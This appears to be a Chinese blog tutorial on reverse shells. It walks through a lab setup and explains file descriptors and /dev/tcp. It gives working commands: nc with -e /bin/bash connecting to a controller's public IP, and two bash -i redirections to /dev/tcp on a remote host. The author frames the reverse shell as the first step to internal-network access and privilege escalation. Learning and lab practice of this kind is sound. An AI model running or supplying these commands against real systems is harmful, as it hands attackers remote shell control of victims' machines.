使用nc及bash进行反弹shell的简单实践

使用nc及bash进行反弹shell的简单实践

什么是反弹shell？

反弹shell（reverse shell），就是控制端监听在某TCP端口，被控端发起请求到该端口，并将其命令行的输入输出转到控制端。

反弹shell是打开内网通道的第一步，也是权限提升过程中至关重要的一步

参考百度查询到的关于shell反弹实践的一些文章，下面介绍我这边实践的过程

一、被控端主机与控制端主机位于内网同网段场景

如下图所示

(图片可放大查看)

1、被控端主机——IP:192.168.31.84

2、kali控制端主机:192.168.31.118

1)安装nc命令

若没有nc命令，使用yum方式进行安装

yum install nmap-ncat

(图片可放大查看)

(图片可放大查看)

firewall-cmd --zone=public --add-port=5432/tcp --permanent
firewall-cmd --reload

2)、nc命令开启本地监听端口

nc -n -lvvp 5432 -t -e /bin/bash

(图片可放大查看)

3)kali控制端主机使用nc命令连接被控端主机

nc 192.168.31.84 5432

执行shell命令，可以看到输入shell命令后被控主机的shell输出结果

(图片可放大查看)

(图片可放大查看)

二、被控端主机位于NAT后的场景

如下图所示 被控端主机位于NAT后 控制端主机位于公网

1)控制端主机开启端口5432监听

由于我这里是一台云主机，需要firewalld开放5432且云主机安全组规则也要放开该端口

(图片可放大查看)

(图片可放大查看)

firewall-cmd --zone=public --add-port=5432/tcp --permanent
firewall-cmd --reload

nc -n -lvvp 5432

(图片可放大查看)

2)被控端主机位于NAT后，主动去连控制端主机公网开放的5432端口

nc X.X.X.X(公网IP) 5432 -t -e /bin/bash

(图片可放大查看)

三、使用bash进行shell反弹

以上是nc进行shell反弹的实践过程，下面介绍bash进行shell反弹 bash 直接反弹的两种写法

1）写法1

bash -i > /dev/tcp/81.X.X.X/5432 0>&1 2>&1

(图片可放大查看)

2）写法2

bash -i >& /dev/tcp/81.X.X.X/5432 0>&1

(图片可放大查看)

具体原理可以参考先知社区上的这两篇文章

Linux反弹shell（一）文件描述符与重定向

——https://xz.aliyun.com/t/2548

Linux反弹shell（二）反弹shell的本质

——https://xz.aliyun.com/t/2549

1）bash -i

-i 代表交互式

-i     If the -i option is present, the shell is interactive.

2）/dev/tcp/ip/port是一个特殊的文件，实际上可以将其看成一个设备（Linux下一切皆文件），其实如果你访问这个文件的位置他是不存在的。但是如果你在一方监听端口的情况下对这个文件进行读写，就能实现与监听端口的服务器的socket通信

3）0>&1 标准输入与标准输出内容结合后重定向到标准输出里

总结

当然shell反弹的方式不局限于nc与bash两种方式，还有其它python,java,perl,php,ruby,socat等等，可以自动上网搜寻,本文就点到为止